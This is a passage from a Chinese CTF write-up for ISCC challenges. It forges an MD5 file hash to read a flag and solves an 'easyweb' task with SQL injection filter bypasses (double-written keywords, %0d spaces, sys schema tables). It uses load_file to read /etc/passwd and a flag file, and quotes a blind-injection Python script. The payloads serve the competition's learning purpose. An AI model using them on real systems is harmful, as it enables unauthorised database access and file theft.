1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import hashlib def md5value (s ): md5 = hashlib.md5() md5.update(s) return md5.hexdigest() def jiami (): filename = '/fllllllllllllaaaaaag' cookie_secret ="ef57c331-744f-4528-b434-9746317d4f6a" print("md5(filename): " +md5value(filename.encode('utf-8' ))) x=md5value(filename.encode('utf-8' )) y=cookie_secret+x print("md5(cookie_secret+md5(filename)): " +md5value(y.encode('utf-8' ))) jiami()import hashlibdef md5value (s ): md5 = hashlib.md5() md5.update(s.encode()) return md5.hexdigest()def jiami (): filename = '/fllllllllllllaaaaaag' cookie_secret ="ef57c331-744f-4528-b434-9746317d4f6a" print(md5value(cookie_secret + md5value(filename))) jiami()
得到
1 2 md5(filename): 9395bd4a7a7cae3ce1f6dc17aeb2d2b8 md5(cookie_secret+md5(filename)): 1ad9b8e09fbe539bc5a6f2c8bc0ab5db
最终payload为
1 /file?filename=/fllllllllllllaaaaaag&filehash=1ad9b8e09fbe539bc5a6f2c8bc0ab5db
easyweb 简单的web 题目入口:http://39.96.91.106:5001/ Flag格式:iscc{XXX}
查看源码
测试一下,id=1,2,3页面均返回数据,其它返回error
万能密码?id=1' or 1=1#
,返回die
测试了一下,使用?id=1'||1=1%23
成功返回数据
fuzz一下,过滤了好多
1 select、 union、 or、 ord 、 from、information_schema、空格等
好多代替空格的都被过滤了,仅剩%0d没有过滤 select过滤了,使用seselectlect双写绕过
得到回显位
1 2 3 4 ?id=0'%0dununionion%0dselselectect%0d1,2,3%23 #Your Login name:2 #Your Password:3
爆库名
1 2 3 4 ?id=0'%0dununionion%0dselselectect%0d1,database(),version()%23 #Your Login name:iscc_web #Your Password:5.7.33-0ubuntu0.16.04.1
发现当前数据库版本为5.7.33
接下来就是爆表名
from、information_schema都被过滤了,FROM大写绕过,关于绕过information_schema参考mysql注入绕过information_schema过滤 。
当前数据库版本为5.7,可用sys.schema_auto_increment_columns
代替information_schema
1 2 3 4 Paylaod: ?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFrom%0dsys.schema_auto_increment_columns),3%0d%23 #Your Login name:iscc_flag #Your Password:3
猜测列名为flag,爆值
1 2 3 4 Paylaod: ?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dflag%0dFROM%0discc_flag),3%0d%23 #Your Login name:cccmd.php #Your Password:3
访问cccmd.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/" , $c )){ exit ("die!!" ); }else { echo `$c `; } }else { highlight_file(__FILE__ ); }?> <!--flllllllllaaag.php-->
显然flag在flllllllllaaag.php中,首先要知道当前路径,执行pwd,得到当前绝对路径:
load_file函数没有被过滤,尝试读取/etc/passwd
1 ?id=0'%0duniunionon%0dselselectect%0d1,(load_file(' /etc/passwd')),3%23
成功读取 路径知道了,接下来直接读取flllllllllaaag.php
1 2 3 ?id=0'%0duniunionon%0dselselectect%0d1,(load_file(' /var/www/const/flllllllllaaag.php')),3%23 #F12查看源码得到<?php$flag="iscc{eeeeeasy_web!!666666}"
贴一下大师傅 的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requests url = "http://39.96.91.106:5001/?id=" result = "" i = 0 while (True ): i = i + 1 head = 32 tail = 127 while (head < tail): mid = (head + tail) >> 1 payload = "0%27||if(ascii(substr((seselectlect%0dhex(load_file(0x2f7661722f7777772f636f6e73742f666c6c6c6c6c6c6c6c6c616161672e706870))),{},1))>{},1,0)%23" .format (i,mid) r = requests.get(url + payload) r.encoding = "utf-8" if "Your Login name" in r.text: head = mid + 1 else : tail = mid last = result if head != 32 : result += chr (head) else : break print(result)
得到
1 3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E
然后hex转字符串即可
1 2 3 4 5 m="3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E" s=bytes .fromhex(m) print(s)